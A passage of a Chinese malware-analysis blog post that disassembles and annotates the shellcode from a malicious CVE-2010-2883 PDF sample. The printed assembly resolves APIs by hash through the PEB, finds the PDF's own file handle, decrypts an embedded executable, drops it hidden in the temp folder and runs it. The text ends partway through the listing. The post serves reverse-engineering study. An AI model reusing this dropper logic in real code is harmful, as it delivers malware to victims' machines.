selph
selph
发布于 2022-04-08 / 462 阅读
0
0

漏洞分析:CVE-2010-2883恶意利用样本shellcode分析

实验环境

  • 虚拟机:Windows XP SP3
  • 物理机:Windows 10 21H2 家庭版
  • 软件:x86dbg,scdbg,IDA,010 Editor

获取shellcode样本

因为Windows XP没有引入ASLR机制,所以地址都是固定的,上次分析到ROP链的最后,跳转至0x7814513A的ret指令返回到shellcode上

这次就直接在这下断点进行跳转分析,直接就是shellcode了:

image-20220405150620135

这次是恶意样本,就把shellcode复制出来用IDA进行分析写注释,虚拟机里x86dbg进行调试看运行结果

分析shellcode样本

初步收集shellcode的信息,scdbg查看调用的API:

image-20220405151558543

还挺多,可以推测这个样本里藏文件了,然后通过shellcode把文件拿出来并执行。

把shellcode复制二进制出来,复制到010 Editor,然后另存为bin文件,IDA打开该bin文件,开始分析

刚开始直接就是一个CALL:

seg000:00000000 E8 30 00 00 00                call    loc_35                          ; call 下面0x35的位置,同时入栈下一行的地址

CALL到偏移当前0x35的位置:

seg000:00000035
seg000:00000035                               loc_35:                                 ; CODE XREF: seg000:00000000↑p
seg000:00000035 5B                            pop     ebx                             ; 弹出shellcode地址到ebx
seg000:00000036 55                            push    ebp                             ; 保存ebp
seg000:00000037 89 E5                         mov     ebp, esp                        ; 栈保护,抬高ebp
seg000:00000039 81 EC 48 02 00 00             sub     esp, 248h                       ; 栈保护,抬高esp
seg000:0000003F 89 5D FC                      mov     [ebp-4], ebx                    ; 保存shellcode地址到局部变量[ebp-4]里
seg000:00000042 6A 30                         push    30h ; '0'                       ; push 0x30
seg000:00000044 59                            pop     ecx                             ; ecx = 0x30
seg000:00000045 64 8B 01                      mov     eax, fs:[ecx]                   ; fs[0x30] = PEB 地址
seg000:00000048 8B 40 0C                      mov     eax, [eax+0Ch]                  ; PEB[0xC] = _PEB_LDR_DATA地址
seg000:0000004B 8B 70 1C                      mov     esi, [eax+1Ch]                  ; _PEB_LDR_DATA[0x1C] = InInitializationOrderModuleList.flink(当前模块的_LDR_DATA_TABLE_ENTRY结构中)
seg000:0000004E AD                            lodsd                                   ; 从esi载入DWORD到eax,是blink的地址
seg000:0000004F 8B 58 08                      mov     ebx, [eax+8]                    ; 获取DllBase到ebx
seg000:00000052 6A 0C                         push    0Ch                             ; push 0xc,接下来开始解析PE文件
seg000:00000054 59                            pop     ecx                             ; ecx = 0xC
seg000:00000055 8B 7D FC                      mov     edi, [ebp-4]                    ; edi = shellcode中的地址

这里保存了刚刚call指令后面的地址,然后把该地址保存到[ebp-4]的位置

接着就是从fs寄存器中找PEB,PEB中找_PEB_LDR_DATA,然后找模块信息结构体:_LDR_DATA_TABLE_ENTRY,获取到DllBase,这里获取到的是kernel32.dll模块,因为要找的函数都在这里,所以只需要找到这一个模块即可

然后这里从[ebp-4]这个地址中拿出来一个值,接下来:

seg000:00000058                               loc_58:                                 ; CODE XREF: seg000:00000068↓j
seg000:00000058 51                            push    ecx                             ; 保存ecx
seg000:00000059 53                            push    ebx                             ; 参数:dllBase地址
seg000:0000005A FF 74 8F FC                   push    dword ptr [edi+ecx*4-4]         ; 参数:edi+0xC*4-4,也就是shellcode中保存的4字节数字0x73E2D87E,这是个数组,保存所有要调用函数的Hash
seg000:0000005E E8 8D 02 00 00                call    f_GetFuncAddress                ; 找到指定函数Hash并返回函数地址到eax
seg000:0000005E
seg000:00000063 59                            pop     ecx                             ; 还原ecx
seg000:00000064 89 44 8F FC                   mov     [edi+ecx*4-4], eax              ; 保存函数地址到shellcode里
seg000:00000068 E2 EE                         loop    loc_58                          ; 通过loop指令进行数组遍历

接下来进入了一个do-while循环,ecx是循环次数,也是数组索引

这里入栈了两个参数:dllbase地址和[ebp-4]那个数组里某个成员的值,然后调用了函数,这个函数的功能是找到指定函数的Hash返回函数地址到eax

然后把该找到的函数地址返回保存回数组里

接下来看看函数是怎么执行的:

seg000:000002F0                               f_GetFuncAddress proc near              ; CODE XREF: seg000:0000005E↑p
seg000:000002F0
seg000:000002F0                               arg_0= dword ptr  4
seg000:000002F0                               arg_4= dword ptr  8
seg000:000002F0
seg000:000002F0 53                            push    ebx
seg000:000002F1 55                            push    ebp                             ; 保存寄存器环境
seg000:000002F2 56                            push    esi
seg000:000002F3 57                            push    edi
seg000:000002F4 8B 6C 24 18                   mov     ebp, [esp+10h+arg_4]            ; ebp = DllBase
seg000:000002F8 8B 45 3C                      mov     eax, [ebp+3Ch]                  ; eax = NtHeader Offset
seg000:000002FB 8B 54 05 78                   mov     edx, [ebp+eax+78h]              ; edx = IMAGE_DATA_DIRECTORY_ARRAY[Export].VirtualAddress
seg000:000002FF 01 EA                         add     edx, ebp                        ; edx = 导出表地址
seg000:00000301 8B 4A 18                      mov     ecx, [edx+18h]                  ; ecx = 导出名称数量
seg000:00000304 8B 5A 20                      mov     ebx, [edx+20h]                  ; ebx = 导出名称表偏移
seg000:00000307 01 EB                         add     ebx, ebp                        ; ebx = 导出名称表地址
seg000:00000307
seg000:00000309
seg000:00000309                               loc_309:                                ; CODE XREF: f_GetFuncAddress+36↓j
seg000:00000309 E3 32                         jecxz   short loc_33D                   ; ecx不为0则跳转(导出函数名称数量)
seg000:00000309                                                                       ; 下面是计算导出函数名称Hash和参数进行对比
seg000:00000309
seg000:0000030B 49                            dec     ecx                             ; ecx--
seg000:0000030C 8B 34 8B                      mov     esi, [ebx+ecx*4]
seg000:0000030F 01 EE                         add     esi, ebp
seg000:00000311 31 FF                         xor     edi, edi
seg000:00000313 FC                            cld
seg000:00000313
seg000:00000314
seg000:00000314                               loc_314:                                ; CODE XREF: f_GetFuncAddress+30↓j
seg000:00000314 31 C0                         xor     eax, eax
seg000:00000316 AC                            lodsb
seg000:00000317 38 E0                         cmp     al, ah
seg000:00000319 74 07                         jz      short loc_322                   ; 和参数中的4字节数字进行对比
seg000:00000319
seg000:0000031B C1 CF 0D                      ror     edi, 0Dh
seg000:0000031E 01 C7                         add     edi, eax
seg000:00000320 EB F2                         jmp     short loc_314
seg000:00000320
seg000:00000322                               ; ---------------------------------------------------------------------------
seg000:00000322
seg000:00000322                               loc_322:                                ; CODE XREF: f_GetFuncAddress+29↑j
seg000:00000322 3B 7C 24 14                   cmp     edi, [esp+10h+arg_0]            ; 和参数中的4字节数字进行对比
seg000:00000326 75 E1                         jnz     short loc_309                   ; 不相同则跳转
seg000:00000326                                                                       ; 找到指定函数则向下走
seg000:00000326
seg000:00000328 8B 5A 24                      mov     ebx, [edx+24h]                  ; ebx = 导出序号表偏移
seg000:0000032B 01 EB                         add     ebx, ebp                        ; ebx = 导出序号表地址
seg000:0000032D 66 8B 0C 4B                   mov     cx, [ebx+ecx*2]                 ; cx = 导出序号索引
seg000:00000331 8B 5A 1C                      mov     ebx, [edx+1Ch]                  ; ebx = 导出地址表偏移
seg000:00000334 01 EB                         add     ebx, ebp                        ; ebx = 导出地址表地址
seg000:00000336 8B 04 8B                      mov     eax, [ebx+ecx*4]                ; eax = 导出函数地址偏移
seg000:00000339 01 E8                         add     eax, ebp                        ; eax = 导出函数地址
seg000:0000033B EB 02                         jmp     short loc_33F                   ; 跳转
seg000:0000033B
seg000:0000033D                               ; ---------------------------------------------------------------------------
seg000:0000033D
seg000:0000033D                               loc_33D:                                ; CODE XREF: f_GetFuncAddress:loc_309↑j
seg000:0000033D 31 C0                         xor     eax, eax                        ; eax = 0
seg000:0000033D
seg000:0000033F
seg000:0000033F                               loc_33F:                                ; CODE XREF: f_GetFuncAddress+4B↑j
seg000:0000033F 89 EA                         mov     edx, ebp                        ; edx = ebp = DllBase
seg000:00000341 5F                            pop     edi                             ; 还原寄存器环境
seg000:00000342 5E                            pop     esi
seg000:00000343 5D                            pop     ebp
seg000:00000344 5B                            pop     ebx
seg000:00000345 C2 08 00                      retn    8                               ; 函数返回
seg000:00000345
seg000:00000345                               f_GetFuncAddress endp

从DllBase里去手工解析PE导出表,遍历导出名称表找到指定函数名称的索引,通过该索引去导出序号表找到对应的函数地址索引,然后拿到函数地址索引对应的函数地址返回

函数地址数组的位置就是shellcode开头call指令下面的内容:一共0xc个

seg000:00000005 AD 9B 7D DF AC 08 DA 76 16 65+dd 0DF7D9BADh
seg000:00000005 FA 10 EC 97 03 0C FB 97 FD 0F+dd 76DA08ACh
seg000:00000005 33 CA 8A 5B EA 49 8A E8 D9 8A+dd 10FA6516h
seg000:00000005 23 E9 98 FE 8A 0E 70 73 EF 36+dd 0C0397ECh
seg000:00000005 F6 22 B9 7C 7E D8 E2 73       dd 0FFD97FBh
seg000:00000005                               dd 5B8ACA33h
seg000:00000005                               dd 0E88A49EAh
seg000:00000005                               dd 0E9238AD9h
seg000:00000005                               dd 0E8AFE98h
seg000:00000005                               dd 36EF7370h
seg000:00000005                               dd 7CB922F6h
seg000:00000005                               dd 73E2D87Eh

刚好对应这几个函数:

Found Api table:
                [x + 0] = GetFileSize
                [x + 4] = SetFilePointer
                [x + 8] = ReadFile
                [x + c] = GlobalAlloc
                [x + 10] = CloseHandle
                [x + 14] = GetTempPathA
                [x + 18] = _lcreat
                [x + 1c] = _lwrite
                [x + 20] = WinExec
                [x + 24] = GetCommandLineA
                [x + 28] = GlobalFree
                [x + 2c] = ExitProcess

解析完所有要用的函数地址之后,开始功能代码的执行:

seg000:0000006A 6A 01                         push    1                               ; push 1
seg000:0000006A
seg000:0000006C
seg000:0000006C                               loc_6C:                                 ; CODE XREF: seg000:00000082↓j
seg000:0000006C                                                                       ; seg000:0000008D↓j
seg000:0000006C                                                                       ; seg000:000000B6↓j
seg000:0000006C                                                                       ; seg000:000000C3↓j
seg000:0000006C                                                                       ; seg000:000000D0↓j
seg000:0000006C 5E                            pop     esi                             ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:0000006D 8D 45 F4                      lea     eax, [ebp-0Ch]                  ; 获取一个栈里的地址,用于接收返回值
seg000:00000070 50                            push    eax                             ; 参数:接收返回值文件大小
seg000:00000071 56                            push    esi                             ; 参数:文件句柄,之前ROP链中创建了个临时文件
seg000:00000072 8B 07                         mov     eax, [edi]                      ; edi是函数数组,第一个函数是GetFileSize
seg000:00000074 FF D0                         call    eax                             ; Call GetFileSize
seg000:00000074                                                                       ; 返回值:参数里返回高位,eax里返回低位
seg000:00000074
seg000:00000076 89 45 F0                      mov     [ebp-10h], eax                  ; 拼接返回值成为连续的8字节
seg000:00000079 3D FF FF FF FF                cmp     eax, 0FFFFFFFFh                 ; 判断低位返回值是否是FFFFFFFF (INVALID_FILE_SIZE)
seg000:0000007E 75 04                         jnz     short loc_84                    ; 不是就跳转,是的话表示函数执行失败
seg000:0000007E
seg000:00000080 46                            inc     esi                             ; esi += 1
seg000:00000081 56                            push    esi                             ; 保存esi
seg000:00000082 EB E8                         jmp     short loc_6C                    ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:00000082
seg000:00000084                               ; ---------------------------------------------------------------------------
seg000:00000084
seg000:00000084                               loc_84:                                 ; CODE XREF: seg000:0000007E↑j
seg000:00000084 3D 00 20 00 00                cmp     eax, 2000h                      ; 找到可用文件句柄后,判断文件大小是否大于0x2000
seg000:00000089 77 04                         ja      short loc_8F                    ; 大于就跳转,否则继续找下一个可用的文件句柄
seg000:00000089
seg000:0000008B 46                            inc     esi                             ; esi ++;
seg000:0000008C 56                            push    esi                             ; 保存esi
seg000:0000008D EB DD                         jmp     short loc_6C                    ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:0000008D
seg000:0000008F                               ; ---------------------------------------------------------------------------
seg000:0000008F
seg000:0000008F                               loc_8F:                                 ; CODE XREF: seg000:00000089↑j
seg000:0000008F 6A 00                         push    0                               ; 到这里应该是找到了一个满足要求的文件句柄
seg000:0000008F                                                                       ; 参数:指针开始的位置
seg000:00000091 6A 00                         push    0                               ; 参数:移动距离的高32位,不需要则写0
seg000:00000093 68 00 12 00 00                push    1200h                           ; 参数:移动文件指针的距离
seg000:00000098 56                            push    esi                             ; 参数:文件句柄
seg000:00000099 8B 47 04                      mov     eax, [edi+4]                    ; 函数:SetFilePointer
seg000:0000009C FF D0                         call    eax                             ; 把文件指针移动到文件第0x1200的位置上
seg000:0000009C
seg000:0000009E 6A 00                         push    0
seg000:000000A0 8D 45 EC                      lea     eax, [ebp-14h]
seg000:000000A3 50                            push    eax                             ; 参数:读到的字节数,返回值
seg000:000000A4 6A 08                         push    8                               ; 参数:要读取的字节数
seg000:000000A6 8D 45 B8                      lea     eax, [ebp-48h]
seg000:000000A9 50                            push    eax                             ; 参数:缓冲区地址
seg000:000000AA 56                            push    esi                             ; 参数:文件句柄
seg000:000000AB
seg000:000000AB                               loc_AB:                                 ; 函数:ReadFile
seg000:000000AB 8B 47 08                      mov     eax, [edi+8]
seg000:000000AE FF D0                         call    eax                             ; 读取8个字节出来
seg000:000000AE
seg000:000000B0 85 C0                         test    eax, eax                        ; 函数成功返回1
seg000:000000B2 75 04                         jnz     short loc_B8                    ; 成功则跳转
seg000:000000B2                                                                       ; 失败则找下一个文件句柄进行尝试
seg000:000000B2
seg000:000000B4 46                            inc     esi
seg000:000000B5 56                            push    esi
seg000:000000B6 EB B4                         jmp     short loc_6C                    ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:000000B6
seg000:000000B8                               ; ---------------------------------------------------------------------------
seg000:000000B8
seg000:000000B8                               loc_B8:                                 ; CODE XREF: seg000:000000B2↑j
seg000:000000B8 81 7D B8 50 64 50 44          cmp     dword ptr [ebp-48h], 44506450h  ; 对比读取出来的数据是不是指定的8个字节,判断该文件句柄是不是我们要找的文件句柄
seg000:000000BF 74 04                         jz      short loc_C5                    ; 是就跳转
seg000:000000BF
seg000:000000C1 46                            inc     esi
seg000:000000C2 56                            push    esi
seg000:000000C3 EB A7                         jmp     short loc_6C                    ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止
seg000:000000C3
seg000:000000C5                               ; ---------------------------------------------------------------------------
seg000:000000C5
seg000:000000C5                               loc_C5:                                 ; CODE XREF: seg000:000000BF↑j
seg000:000000C5 81 7D BC EF FE EA AE          cmp     dword ptr [ebp-44h], 0AEEAFEEFh
seg000:000000CC 74 04                         jz      short loc_D2                    ; 参数:申请大小
seg000:000000CC
seg000:000000CE 46                            inc     esi
seg000:000000CF 56                            push    esi
seg000:000000D0 EB 9A                         jmp     short loc_6C                    ; 弹出esi,esi被当作文件句柄,这里是do-while循环遍历文件句柄,找到一个可以用的为止

这一大块内容的功能是找一个指定的文件句柄,从1开始逐渐递增去作为参数调用GetFileSize函数,如果能得到返回值(文件大小)说明文件句柄可用,找不到则说明文件句柄不可用,文件句柄++,然后再次获取

GetFileSize函数参数:

DWORD GetFileSize(
  [in]            HANDLE  hFile,
  [out, optional] LPDWORD lpFileSizeHigh
);

如果文件句柄可用,接下来判断文件大小是否满足我们要找的文件的要求:文件大小大于0x2000字节,不满足就循环找下一个可用文件句柄

如果大小也满足要求了,那就设置文件指针,指向文件特定位置,因为我们要找的文件的特定位置上有硬编码的特征,

SetFilePointer函数参数:

DWORD SetFilePointer(
  [in]                HANDLE hFile,
  [in]                LONG   lDistanceToMove,
  [in, out, optional] PLONG  lpDistanceToMoveHigh,
  [in]                DWORD  dwMoveMethod
);

接下来要去读取该位置,判断特征是否满足要求,如果不满足依然去找下一个文件

ReadFile函数参数:

BOOL ReadFile(
  [in]                HANDLE       hFile,
  [out]               LPVOID       lpBuffer,
  [in]                DWORD        nNumberOfBytesToRead,
  [out, optional]     LPDWORD      lpNumberOfBytesRead,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

满足了就可以开始下一环节了:

seg000:000000D2                               loc_D2:                                 ; CODE XREF: seg000:000000CC↑j
seg000:000000D2 FF 75 F0                      push    dword ptr [ebp-10h]             ; 参数:申请大小
seg000:000000D5 6A 40                         push    40h ; '@'                       ; 参数:类型
seg000:000000D7 FF 57 0C                      call    dword ptr [edi+0Ch]             ; GlobalAlloc
seg000:000000D7
seg000:000000DA 89 45 D8                      mov     [ebp-28h], eax                  ; 返回申请内存对象句柄
seg000:000000DD 85 C0                         test    eax, eax                        ; 判断是否执行成功
seg000:000000DF 75 05                         jnz     short loc_E6                    ; 成功则跳转
seg000:000000DF
seg000:000000E1 E9 05 02 00 00                jmp     loc_2EB                         ; 退出进程
seg000:000000E1
seg000:000000E6                               ; ---------------------------------------------------------------------------
seg000:000000E6
seg000:000000E6                               loc_E6:                                 ; CODE XREF: seg000:000000DF↑j
seg000:000000E6 6A 00                         push    0
seg000:000000E8 6A 00                         push    0
seg000:000000EA 6A 00                         push    0
seg000:000000EC 56                            push    esi                             ; 移动文件指针指向文件开头
seg000:000000ED FF 57 04                      call    dword ptr [edi+4]               ; SetFilePointer
seg000:000000ED
seg000:000000F0 6A 00                         push    0
seg000:000000F2 8D 45 EC                      lea     eax, [ebp-14h]
seg000:000000F5 50                            push    eax                             ; 读到的字节数
seg000:000000F6 FF 75 F0                      push    dword ptr [ebp-10h]             ; 要读取的字节数,刚刚申请的内存空间大小
seg000:000000F9 FF 75 D8                      push    dword ptr [ebp-28h]             ; 缓冲区地址
seg000:000000FC 56                            push    esi
seg000:000000FD FF 57 08                      call    dword ptr [edi+8]               ; 读取文件
seg000:000000FD
seg000:00000100 85 C0                         test    eax, eax
seg000:00000102 75 05                         jnz     short loc_109                   ; 读取成功跳转
seg000:00000102
seg000:00000104 E9 E2 01 00 00                jmp     loc_2EB                         ; 退出进程

找到要找的文件后(就是pdf样本自身),调用GlobalAlloc函数申请一片内存:

DECLSPEC_ALLOCATOR HGLOBAL GlobalAlloc(
  [in] UINT   uFlags,
  [in] SIZE_T dwBytes
);

然后把该文件整个读入缓冲区,读取失败就退出进程

接下来:

seg000:00000109                               loc_109:                                ; CODE XREF: seg000:00000102↑j
seg000:00000109 56                            push    esi                             ; 文件句柄
seg000:0000010A FF 57 10                      call    dword ptr [edi+10h]             ; CloseHandle 关闭文件句柄
seg000:0000010A
seg000:0000010D 8B 5D D8                      mov     ebx, [ebp-28h]                  ; ebx = 缓冲区地址(PDF文件首地址)
seg000:00000110 8B 83 10 12 00 00             mov     eax, [ebx+1210h]                ; eax = 缓冲区1210h偏移处4字节,0x000141C0
seg000:00000116 89 45 E8                      mov     [ebp-18h], eax                  ; 保存到栈里
seg000:00000119 8B 83 14 12 00 00             mov     eax, [ebx+1214h]                ; eax = 缓冲区1214h处4字节,0x001AAF7E
seg000:0000011F 89 45 E4                      mov     [ebp-1Ch], eax                  ; 保存到栈里
seg000:00000122 8B 83 18 12 00 00             mov     eax, [ebx+1218h]                ; eax = 缓冲区1218h处4字节,0x0000000C
seg000:00000128 89 45 E0                      mov     [ebp-20h], eax                  ; 保存到栈里
seg000:0000012B 03 45 E4                      add     eax, [ebp-1Ch]
seg000:0000012E 03 45 E8                      add     eax, [ebp-18h]
seg000:00000131 89 45 DC                      mov     [ebp-24h], eax                  ; 把刚刚获取的三个数字加起来,保存到栈里,0x1BF14A
seg000:00000131
seg000:00000134
seg000:00000134                               loc_134:                                ; CODE XREF: seg000:00000147↓j
seg000:00000134 48                            dec     eax                             ; eax --;
seg000:00000135 8A 94 03 1C 12 00 00          mov     dl, [ebx+eax+121Ch]             ; 取1个字节
seg000:0000013C 30 C2                         xor     dl, al                          ; 和al异或
seg000:0000013E 88 94 03 1C 12 00 00          mov     [ebx+eax+121Ch], dl             ; 放回去
seg000:00000145 85 C0                         test    eax, eax                        ; 判断eax是否为空
seg000:00000147 77 EB                         ja      short loc_134                   ; 有值跳转
seg000:00000147                                                                       ; 上面这一段是do-while异或解密部分,把读取到内存的内容(PDF文件1210偏移处的内容)异或解密
seg000:00000147                                                                       ; 解密出来的内容是一个字符串:"srvhost.exe"

接下来从文件里特定地址里读取三个4字节数,然后加起来,这应该指的是内部藏的文件的大小

然后紧接着对该地址后面一点的地方进行异或解密:

image-20220405164426571

这里画黑的就是解密的部分,画黑的之前的三个DWORD就是上面读取的三个数,后面的内容是5A 4D开头的,可见藏了个PE文件

接下来:

seg000:00000149 8D 85 B8 FE FF FF             lea     eax, [ebp-148h]
seg000:0000014F 50                            push    eax                             ; 参数:缓冲区地址
seg000:00000150 68 F8 00 00 00                push    0F8h                            ; 参数:缓冲区大小
seg000:00000155 FF 57 14                      call    dword ptr [edi+14h]             ; GetTempPathA,读取临时目录到缓冲区
seg000:00000155
seg000:00000158 8D BB 1C 12 00 00             lea     edi, [ebx+121Ch]                ; edi = 解密后的字符串地址:srvhost.exe
seg000:0000015E 81 C9 FF FF FF FF             or      ecx, 0FFFFFFFFh                 ; ecx = FFFFFFFF
seg000:00000164 31 C0                         xor     eax, eax                        ; eax = 0
seg000:00000166 F2 AE                         repne scasb                             ; 搜索\x00在字符串的位置,每判断一个字符ecx--
seg000:00000168 F7 D1                         not     ecx                             ; ecx取反得到\x00在字符串中的位置:0xC
seg000:0000016A 29 CF                         sub     edi, ecx                        ; edi -= 0xC (让edi回到之前的位置)
seg000:0000016C 89 FE                         mov     esi, edi                        ; esi = edi
seg000:0000016E 89 CA                         mov     edx, ecx                        ; edx = ecx
seg000:00000170 8D BD B8 FE FF FF             lea     edi, [ebp-148h]                 ; 临时目录
seg000:00000176 81 C9 FF FF FF FF             or      ecx, 0FFFFFFFFh                 ; ecx = FFFFFFFF
seg000:0000017C F2 AE                         repne scasb                             ; 获取临时目录字符串的长度(宽字符)
seg000:0000017E 4F                            dec     edi                             ; edi指向临时目录字符串末尾
seg000:0000017F 89 D1                         mov     ecx, edx                        ; 字符串长度0xC
seg000:00000181 F3 A4                         rep movsb                               ; 字符串拼接,临时目录+ srvhost.exe
seg000:00000183 6A 02                         push    2                               ; 参数:文件属性,隐藏(2)
seg000:00000185 8D 85 B8 FE FF FF             lea     eax, [ebp-148h]                 ; 拼接后的路径
seg000:0000018B 50                            push    eax                             ; 参数:路径
seg000:0000018C 8B 7D FC                      mov     edi, [ebp-4]
seg000:0000018F FF 57 18                      call    dword ptr [edi+18h]             ;  _lcreat,创建文件
seg000:0000018F
seg000:00000192 3D FF FF FF FF                cmp     eax, 0FFFFFFFFh
seg000:00000197 75 05                         jnz     short loc_19E                   ; 创建成功跳转
seg000:00000197
seg000:00000199 E9 4D 01 00 00                jmp     loc_2EB                         ; 退出进程
seg000:00000199

调用函数读取临时路径到缓冲区:

DWORD GetTempPathA(
  [in]  DWORD nBufferLength,
  [out] LPSTR lpBuffer
);

然后紧接着拼接字符串:%Temp%/svrhost.exe

image-20220405165324750

这是要创建的文件路径,然后调用_lcreat函数创建文件,文件类型:2(隐藏)

HFILE _lcreat(
  LPCSTR lpPathName,
  int    iAttribute
);

通过运行->%temp%命令打开临时目录,设置文件夹选项显示隐藏文件,可以看到创建了个文件:

image-20220405165825581

seg000:0000019E                               loc_19E:                                ; CODE XREF: seg000:00000197↑j
seg000:0000019E 89 45 C8                      mov     [ebp-38h], eax                  ; 文件句柄
seg000:000001A1 89 C2                         mov     edx, eax                        ; edx = eax
seg000:000001A3 FF 75 E8                      push    dword ptr [ebp-18h]             ; 0x000141c0
seg000:000001A6 8D 83 1C 12 00 00             lea     eax, [ebx+121Ch]                ; svrhost.exe字符串首地址
seg000:000001AC 03 45 E0                      add     eax, [ebp-20h]                  ; 字符串长度,跳过字符串,后面是个PE文件
seg000:000001AF 50                            push    eax                             ; push 缓冲区首地址(PE文件)
seg000:000001B0 52                            push    edx                             ; push 文件句柄
seg000:000001B1 B9 00 01 00 00                mov     ecx, 100h                       ; 对PE文件Header部分进行解密(高低字节调换)
seg000:000001B1
seg000:000001B6
seg000:000001B6                               loc_1B6:                                ; CODE XREF: seg000:000001C6↓j
seg000:000001B6 8A 54 48 FE                   mov     dl, [eax+ecx*2-2]
seg000:000001BA 8A 74 48 FF                   mov     dh, [eax+ecx*2-1]
seg000:000001BE 88 74 48 FE                   mov     [eax+ecx*2-2], dh
seg000:000001C2 88 54 48 FF                   mov     [eax+ecx*2-1], dl
seg000:000001C6 E2 EE                         loop    loc_1B6                         ; 循环解密,解密完成后写入文件
seg000:000001C6
seg000:000001C8 FF 57 1C                      call    dword ptr [edi+1Ch]             ;  _lwrite,写入文件
seg000:000001C8
seg000:000001CB FF 75 C8                      push    dword ptr [ebp-38h]             ; 文件句柄
seg000:000001CE FF 57 10                      call    dword ptr [edi+10h]             ; CloseHandle

接下来对缓冲区中PE文件Header部分进行解密(高低字节调换),解密完成后写入刚刚创建的文件,关闭文件句柄

然后紧接着调用WinExec函数去执行该PE文件:

seg000:000001CE
seg000:000001D1 8D 85 B8 FE FF FF             lea     eax, [ebp-148h]                 ; 文件路径
seg000:000001D7 E8 00 00 00 00                call    $+5                             ; 跳转到当前下一个指令,栈里保存执行的地址
seg000:000001D7
seg000:000001DC 81 04 24 10 00 00 00          add     dword ptr [esp], 10h            ; 当前地址 += 0x10,构造返回地址
seg000:000001E3 6A 00                         push    0                               ; 参数:0
seg000:000001E5 50                            push    eax                             ; 参数:srvhost.exe文件
seg000:000001E6 FF 77 24                      push    dword ptr [edi+24h]             ; 返回地址,GetCommandLineA
seg000:000001E9 FF 67 20                      jmp     dword ptr [edi+20h]             ; 函数调用:WinExec
seg000:000001E9                                                                       ; 调用完之后,将exe地址放入eax,然后再跳转到下一行

执行完之后,通过构造的返回地址接回控制权:

seg000:000001EC FF 57 24                      call    dword ptr [edi+24h]             ; GetCommandLineA,获取命令行,获取到的应该就是Adobe Reader的地址
seg000:000001EC
seg000:000001EF 89 45 D0                      mov     [ebp-30h], eax                  ; 返回一个指向参数数组的指针到eax,保存到参数里
seg000:000001F2 89 C6                         mov     esi, eax                        ; esi = eax
seg000:000001F4 89 C7                         mov     edi, eax                        ; edi = eax
seg000:000001F6 81 C9 FF FF FF FF             or      ecx, 0FFFFFFFFh                 ; ecx = FFFFFFFF
seg000:000001FC 31 C0                         xor     eax, eax                        ; eax = 0
seg000:000001FE F2 AE                         repne scasb                             ; 获取参数长度
seg000:00000200 F7 D1                         not     ecx
seg000:00000202 49                            dec     ecx                             ; 字符串长度(不包括最后的0)
seg000:00000203 89 4D CC                      mov     [ebp-34h], ecx                  ; 保存到参数里
seg000:00000206 8D BD B8 FE FF FF             lea     edi, [ebp-148h]                 ; edi = srvhost.exe路径
seg000:0000020C 88 04 0F                      mov     [edi+ecx], al
seg000:0000020F 49                            dec     ecx                             ; ecx --;
seg000:00000210 8A 04 0E                      mov     al, [esi+ecx]                   ; 找到路径字符串的末尾的"
seg000:00000213 3C 22                         cmp     al, 22h ; '"'                   ; 判断是不是"
seg000:00000215 75 1F                         jnz     short loc_236                   ; 不是就跳转
seg000:00000215
seg000:00000217 49                            dec     ecx                             ; ecx --;
seg000:00000217
seg000:00000218
seg000:00000218                               loc_218:                                ; CODE XREF: seg000:00000224↓j
seg000:00000218 8A 04 0E                      mov     al, [esi+ecx]                   ; 再向前取一位
seg000:0000021B 3C 22                         cmp     al, 22h ; '"'                   ; 判断是不是"
seg000:0000021D 74 07                         jz      short loc_226                   ; 是就跳转
seg000:0000021D                                                                       ; 不是就向下
seg000:0000021D
seg000:0000021F 88 44 0F 01                   mov     [edi+ecx+1], al                 ; 把值放到edi+ecx+1的位置
seg000:00000223 49                            dec     ecx                             ; ecx--;
seg000:00000224 EB F2                         jmp     short loc_218                   ; 这里do-while循环,把双引号内部的字符串提取出来到edi中
seg000:00000224
seg000:00000226                               ; ---------------------------------------------------------------------------
seg000:00000226
seg000:00000226                               loc_226:                                ; CODE XREF: seg000:0000021D↑j
seg000:00000226 01 CF                         add     edi, ecx
seg000:00000228 81 C7 02 00 00 00             add     edi, 2                          ; 调整edi位置,edi指向Adobe Reader路径
seg000:0000022E 89 7D C0                      mov     [ebp-40h], edi                  ; 保存路径
seg000:00000231 E9 13 00 00 00                jmp     loc_249                         ; 跳转
seg000:00000231
seg000:00000236                               ; ---------------------------------------------------------------------------
seg000:00000236
seg000:00000236                               loc_236:                                ; CODE XREF: seg000:00000215↑j
seg000:00000236                                                                       ; seg000:00000241↓j
seg000:00000236 8A 04 0E                      mov     al, [esi+ecx]                   ;  再向前取一位
seg000:00000239 3C 20                         cmp     al, 20h ; ' '                   ; 判断是不是空格
seg000:0000023B 74 06                         jz      short loc_243                   ; 是就跳转
seg000:0000023B
seg000:0000023D 88 04 0F                      mov     [edi+ecx], al                   ; 复制给edi
seg000:00000240 49                            dec     ecx                             ; ecx --;
seg000:00000241 EB F3                         jmp     short loc_236                   ; 赋值字符串给edi
seg000:00000241
seg000:00000243                               ; ---------------------------------------------------------------------------
seg000:00000243
seg000:00000243                               loc_243:                                ; CODE XREF: seg000:0000023B↑j
seg000:00000243 01 CF                         add     edi, ecx
seg000:00000245 47                            inc     edi                             ; 调整edi位置
seg000:00000246 89 7D C0                      mov     [ebp-40h], edi                  ; 保存路径

接下来获取Adobe Reader的执行路径,通过GetCommandLineA获取,然后把首尾的双引号和空格去掉,保存到edi中

seg000:00000249                               loc_249:                                ; CODE XREF: seg000:00000231↑j
seg000:00000249 FF 75 F0                      push    dword ptr [ebp-10h]             ; 字节数
seg000:0000024C 6A 40                         push    40h ; '@'                       ; 属性
seg000:0000024E 8B 55 FC                      mov     edx, [ebp-4]                    ; 函数数组
seg000:00000251 FF 52 0C                      call    dword ptr [edx+0Ch]             ; GlobalAlloc,申请内存空间
seg000:00000251
seg000:00000254 89 45 D4                      mov     [ebp-2Ch], eax                  ; 保存内存对象
seg000:00000257 89 C7                         mov     edi, eax                        ; edi = 内存句柄
seg000:00000259 8B 75 E8                      mov     esi, [ebp-18h]                  ; 0x000141c0
seg000:0000025C 03 75 E0                      add     esi, [ebp-20h]                  ; += 0xC
